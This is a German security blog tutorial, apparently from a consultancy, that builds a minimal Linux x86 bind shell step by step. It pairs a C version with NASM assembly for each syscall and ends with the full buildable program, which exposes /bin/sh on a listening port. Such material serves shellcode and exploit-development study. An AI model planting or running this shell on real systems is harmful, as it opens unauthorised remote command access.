Linux Bind-Shell in Assembler - Eine Umsetzung

Linux Bind-Shell in Assembler

Eine Umsetzung

Ahmet Hrnjadovic
von Ahmet Hrnjadovic
Lesezeit: 14 Minuten

Keypoints

So schreiben Sie eine Linux Bind-Shell in Assembler

  • Die Struktur eines equivalänten C Programms kann einen hilfreichen Leitfaden darstellen
  • Eine einfache Bind-Shell muss einen Server-Socket erstellen, eine Verbindung akzeptieren und den Input und Output einer Shell mit dem Socket verbinden
  • Der Grossteil der Arbeit wird vom Linux Kernel erledigt
  • Der Linux Kernel wird durch System-Calls instruiert

Dieser Artikel ist ein Walkthrough der Schritte, die zum Erstellen einer einfachen aber vollständigen Bind-Shell im NASM-Syntax gehören. Ein derartiger Walkthrough kann eine Vielzahl von Unbekannten klären.

Die folgende minimale C Bind-Shell zeigt die nötigen Schritte auf und gibt einen Überblick.

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int srvfd;
    int clifd;
    struct sockaddr_in srv;

    srv.sin_family = AF_INET;
    srv.sin_port = htons(4444);
    srv.sin_addr.s_addr = htonl(INADDR_ANY);

    srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    bind(srvfd, (struct sockaddr *) &srv, sizeof(srv));
    listen(srvfd, 0);
    clifd = accept(srvfd, NULL, NULL);
    dup2(clifd, 0);
    dup2(clifd, 1);
    dup2(clifd, 2);
    execve("/bin/sh", NULL, NULL);
}

Da wir keine Libraries verwenden, können wir die Initialisierung des sockaddr_in Structs überspringen und mit der Socket-Erstellung starten:

srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

Die Socket-Erstellung erfordert die Verwendung eines System-Calls. Eine praktische Ressource um die benötigte System-Call-Nummer zu finden ist kernelgrok.com. Das Suchen nach __"sock"__ oder __"sck"__ gibt einen Eintrag zurück.

Socketcall

Die Manpage man 2 socketcall offenbart, dass socketcall() für diverse Aufgaben rund um Sockets verwendet wird. Hier ist ein Auszug aus der Manpage:

int socketcall(int call, unsigned long *args);

socketcall() is a common kernel entry point for the socket system calls. Call determines which socket function to invoke.

call              Man page
SYS_SOCKET        socket(2)
SYS_BIND          bind(2)
SYS_CONNECT       connect(2)
SYS_LISTEN        listen(2)
SYS_ACCEPT        accept(2)
SYS_GETSOCKNAME   getsockname(2)
SYS_GETPEERNAME   getpeername(2)
SYS_SOCKETPAIR    socketpair(2)
SYS_SEND          send(2)
SYS_RECV          recv(2)
SYS_SENDTO        sendto(2)
SYS_RECVFROM      recvfrom(2)
SYS_SHUTDOWN      shutdown(2)
SYS_SETSOCKOPT    setsockopt(2)
SYS_GETSOCKOPT    getsockopt(2)
SYS_SENDMSG       sendmsg(2)
SYS_RECVMSG       recvmsg(2)
SYS_ACCEPT4       accept4(2)
SYS_RECVMMSG      recvmmsg(2)
SYS_SENDMMSG      sendmmsg(2)

Socket-Erstellung

Der richtige Wert für den call Parameter für socketcall() muss eruiert werden. Der folgende Code-Abschnitt aus net/socket.c zeigt, dass wir nach SYS_SOCKET suchen.

SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user *, args)
{
    ...
    switch (call) {
    case SYS_SOCKET:
        err = __sys_socket(a0, a1, a[2]);
        break;
    case SYS_BIND:
        err = __sys_bind(a0, (struct sockaddr __user *)a1, a[2]);
        break;
    case SYS_CONNECT:
        err = __sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
        break;
    case SYS_LISTEN:
    ...

SYS_SOCKET ist eine Preprocessor-Konstante deren Wert wir benötigen. Im für uns relevanten Kernel mit Version 5.4 ist diese in include/uapi/linux/net.h definiert.

#define SYS_SOCKET  1       /* sys_socket(2)        */

Als nächstes konsultieren wir die socket() Manpage mit man 2 socket um herauszufinden, welche Parameter mitgegeben werden müssen.

int socket(int domain, int type, int protocol);

Damit sind die benötigten Informationen zum Schreiben des Assembler-Codes vorhanden. Dieses Beispiel verwendet TCP über IPv4 und die Werte der dafür benötigten Konstanten sind wie folgt: AF_INET = 2, SOCK_STREAM = 1, IP_PROTO = 0.

mov     eax, 0x66           ;; socketcall syscall number
mov     ebx, 0x01           ;; SYS_SOCKET call number for socket creation

push    DWORD 0x00000000    ;; IP_PROTO
push    DWORD 0x00000001    ;; SOCK_STREAM
push    DWORD 0x00000002    ;; AF_INET

mov     ecx, esp
int     0x80

mov     esi, eax            ;; copy socket fd because eax will be needed otherwise

Die System-Call-Nummer für socketcall wird in das eax Register geschrieben und die Call-Nummer für SYS_SOCKET in ebx. socketcall erwartet einen Pointer zu den Parametern für die schlussendlich ausgeführte Kernel-Funktion, die durch den call Parameter bestimmt wird. Die Parameter für socket() werden in umgekehrter Reihenfolge auf den Stack geschoben. Die auf den Stack geschobenen Werte sind jeweils 4 Byte lang, da socket() Parameter vom Typ int erwartet. esp enthält die Adresse der Spitze des Stacks. Der Start der Parameter-Liste für socket(), die sich an der Spitze des Stacks befindet, wird in ecx abgespeichert. Nachdem alles vorbereitet ist, kann der System-Call ausgeführt werden. Die socket() Manpage informiert, dass der Return-Value der File-Descriptor des erstellten Sockets ist. Return-Values werden meist in eax abgelegt.

Binden des Sockets

In einem nächsten Schritt wird der Socket an eine IP-Adresse und einen Port gebunden.

bind(srvfd, (struct sockaddr *) &srv, sizeof(srv));

Die Call-Nummer für bind() ist in derselben Datei definiert wie für socket(), zusammen mit allen anderen Call-Nummern.

#define SYS_SOCKET  1       /* sys_socket(2)        */
#define SYS_BIND    2       /* sys_bind(2)          */
#define SYS_CONNECT 3       /* sys_connect(2)       */
#define SYS_LISTEN  4       /* sys_listen(2)        */
#define SYS_ACCEPT  5       /* sys_accept(2)        */
...

Parameter müssen in umgekehrter Reihenfolge auf den Stack geschoben werden. Die Länge des Structs kommt somit zuerst auf den Stack. Die Manpage für bind() gibt folgendes über das sockaddr Struct bekannt:

The only purpose of this structure is to cast the structure pointer passed in addr in order to avoid compiler warnings

bind() kann mit verschiedenen Socket-Typen umgehen und erwartet den geeigneten Struct für den gegebenen Socket-Typen. Für unseren Socket ist dies sockaddr_in, welches folgendermassen definiert ist:

/* Structure describing an Internet (IP) socket address. */
#if  __UAPI_DEF_SOCKADDR_IN
#define __SOCK_SIZE__   16          /* sizeof(struct sockaddr)  */
struct sockaddr_in {
  __kernel_sa_family_t  sin_family; /* Address family       */
  __be16        sin_port;           /* Port number          */
  struct in_addr    sin_addr;       /* Internet address     */

  /* Pad to size of `struct sockaddr'. */
  unsigned char     __pad[__SOCK_SIZE__ - sizeof(short int) -
            sizeof(unsigned short int) - sizeof(struct in_addr)];
};

Eine Analyse der Struct-Definition offenbart, dass die Länge des Structs 8 byte (2 shorts und 1 int) mit zusätzlichen 8 byte Padding ist. Unsere Adress-Familie ist AF_INET, welche in bits/socket.h als 2 definiert ist. __kernel_sa_family_t ist ein typedef eines unsignierten Short, also muss hierfür ein 2 Byte langer Wert auf den Stack geschoben werden. Die Port-Nummer ist ebenfalls ein unsignierter Short wobei __be16 indiziert, dass der Wert in Big-Endian erwartet wird. Der in_addr Struct enthält nur einen unsignierten Integer in Big-Endian (__be32) um eine IPv4-Adresse zu speichern.

;; prepare sockaddr_in struct
push    DWORD 0x00000000    ;; 4 bytes padding
push    DWORD 0x00000000    ;; 4 bytes padding
push    DWORD 0x00000000    ;; INADDR_ANY
push    WORD 0xbeef         ;; port 61374
push    WORD 0x0002         ;; AF_INET

mov     ecx, esp            ;; save struct address

;; arguments to bind()
push    DWORD 0x00000010    ;; size of our sockaddr_in struct
push    ecx                 ;; pointer to sockaddr_in struct
push    esi                 ;; socket file descriptor

mov     ecx, esp            ;; set ecx to bind() args to prep for socketcall syscall
mov     eax, 0x66           ;; socketcall syscall number
mov     ebx, 0x02           ;; SYS_BIND call number
int     0x80

Wie Funktionsargumente auch, werden die Mitglieder des Structs in umgekehrter Reihenfolge auf den Stack geschoben. Die Adresse zum Struct wird temporär in ecx abgespeichert, da die Struct-Grösse für bind() zuerst auf den Stack geschoben werden muss. Dieses Programm wird minimal gehalten und Error-Handling für bind()-Fehler wird ausgelassen.

Erwarten und Akzeptieren einer Verbindung

Die nächste Zeile in der C bind() shell ist listen(srvfd, 0);. listen() markiert den Socket als einen passiven Socket, so, dass er zum Annehmen von eingehenden Verbindungen verwendet werden kann. Dies ist einfach bewerkstelligt.

mov     eax, 0x66
mov     ebx, 0x04           ;; SYS_LISTEN call number
push    0x00000000          ;; listen() backlog argument (4 byte int)
push    esi                 ;; socket fd
mov     ecx, esp            ;; pointer to args for listen()
int     0x80

Der nächste Schritt ist, eingehende Verbindungen zu akzeptieren: clifd = accept(srvfd, NULL, NULL);. Der zweite und dritte Parameter können mit einem Pointer zu einem geeigneten Struct und der Struct-Grösse besetzt werden. Dieser wird bei erfolgreichem Verbindungsaufbau mit Informationen über den anderen Netzwerkteilnehmer beschrieben. In dieser minimalen Bind-Shell, ist es nicht wichtig zu wissen, mit wem wir kommunizieren und NULL wird für beide Parameter mitgegeben. Dies vereinfacht auch den equivalenten Assembler-Code.

mov     eax, 0x66
mov     ebx, 0x05           ;; SYS_ACCEPT call number
push    DWORD 0x00000000
push    DWORD 0x00000000
push    esi                 ;; socket fd
int     0x80

accept() gibt den File-Descriptor des neuen Sockets der Verbindung im eax Register zurück.

Verbinden von Input und Output mit dem Socket und Starten der Shell

Alles was jetzt noch zu tun ist, ist das Duplizieren des Socket File-Descriptors auf das STDIN, STDOUT und STDERR unseres Prozesses und unseren Prozess durch sh zu ersetzen. dup2() wird folgendermassen deklariert:

int dup2(int oldfd, int newfd);

dup2() schliesst leise den File-Descriptor newfd und öffnet ihn erneut als Kopie von oldfd.

dup Syscall

mov     ebx, eax            ;; copy fd of the new connection socket to ebx for dup2()

mov     eax, 0x3f           ;; syscall nunber goes into eax
xor     ecx, ecx            ;; duplicate stdin
int     0x80

mov     eax, 0x3f
inc     ecx                 ;; duplicate stdout
int     0x80

mov     eax, 0x3f
inc     ecx                 ;; duplicate stderr
int     0x80

man 2 execve zeigt die Deklaration von execve() als:

execve(const char *pathname, char *const argv[], char *const envp[]);

Wie zuvor, wird die System-Call-Nummer in eax und die vebleibenden Parameter, sofern vorhanden, der Reihe nach in ebx, ecx und edx geschrieben. Es ist zu beachten, dass das Ende des /bin/sh Strings mit einem Null-Byte markiert ist.

mov     eax, 0x0b           ;; execve syscall
xor     ecx, ecx            ;; no arguments for /bin/sh
xor     edx, edx            ;; no env variables
push    DWORD 0x0068732f    ;; hs/
push    DWORD 0x6e69622f    ;; nib/
mov     ebx, esp            ;; start of /bin/sh string
int     0x80

Fazit

Die gezeigte Bind-Shell ist simpel und leicht verständlich. Verschiedene Verbesserungsmöglichkeiten sind noch vorhanden, wie Grössenoptimierung oder das Schliessen des Sockets nachdem die Shell beendet wird.

Hier ist das gesamte Programm welches gebaut werden kann mit nasm bindshell.asm -o bindshell.o -f elf32 && ld -m elf_i386 bindshell.o -o bindshell.

global _start

section .text
_start:
    mov     eax, 0x66           ;; socketcall syscall number
    mov     ebx, 0x01           ;; SYS_SOCKET call number for socket creation

    push    DWORD 0x00000000    ;; IP_PROTO
    push    DWORD 0x00000001    ;; SOCK_STREAM
    push    DWORD 0x00000002    ;; AF_INET

    mov     ecx, esp
    int     0x80

    mov     esi, eax            ;; copy socket fd because eax will be needed otherwise

    ;; prepare sockaddr_in struct
    push    DWORD 0x00000000    ;; 4 bytes padding
    push    DWORD 0x00000000    ;; 4 bytes padding
    push    DWORD 0x00000000    ;; INADDR_ANY
    push    WORD 0xbeef         ;; port 61374
    push    WORD 0x0002         ;; AF_INET

    mov     ecx, esp            ;; save struct address

    ;; arguments to bind()
    push    DWORD 0x00000010    ;; size of our sockaddr_in struct
    push    ecx                 ;; pointer to sockaddr_in struct
    push    esi                 ;; socket file descriptor

    mov     ecx, esp            ;; set ecx to bind() args to prep for socketcall syscall
    mov     eax, 0x66           ;; socketcall syscall number
    mov     ebx, 0x02           ;; SYS_BIND call number
    int     0x80

    mov     eax, 0x66
    mov     ebx, 0x04           ;; SYS_LISTEN call number
    push    0x00000000          ;; listen() backlog argument (4 byte int)
    push    esi                 ;; socket fd
    mov     ecx, esp            ;; pointer to args for listen()
    int     0x80

    mov     eax, 0x66
    mov     ebx, 0x05           ;; SYS_ACCEPT call number
    push    DWORD 0x00000000
    push    DWORD 0x00000000
    push    esi                 ;; socket fd
    int     0x80

    mov     ebx, eax            ;; copy fd of the new connection socket to ebx for dup2()

    mov     eax, 0x3f           ;; syscall nunber goes into eax
    xor     ecx, ecx            ;; duplicate stdin
    int     0x80

    mov     eax, 0x3f
    inc     ecx                 ;; duplicate stdout
    int     0x80

    mov     eax, 0x3f
    inc     ecx                 ;; duplicate stderr
    int     0x80

    mov     eax, 0x0b           ;; execve syscall
    xor     ecx, ecx            ;; no arguments for /bin/sh
    xor     edx, edx            ;; no env variables
    push    DWORD 0x0068732f    ;; hs/
    push    DWORD 0x6e69622f    ;; nib/
    mov     ebx, esp            ;; start of /bin/sh string
    int     0x80

Über den Autor

Ahmet Hrnjadovic

Ahmet Hrnjadovic arbeitet seit dem Jahr 2017 im Bereich Cybersecurity, wobei er sich auf die Bereiche Linux, sichere Programmierung und Web Application Security Testing fokussiert. (ORCID 0000-0003-1320-8655)

Links

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

×
Active Directory-Zertifikatsdienste

Active Directory-Zertifikatsdienste

Eric Maurer

Konkrete Kritik an CVSS4

Konkrete Kritik an CVSS4

Marc Ruef

Das neue NIST Cybersecurity Framework

Das neue NIST Cybersecurity Framework

Tomaso Vasella

Angriffsmöglichkeiten gegen Generative AI

Angriffsmöglichkeiten gegen Generative AI

Andrea Hauser

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv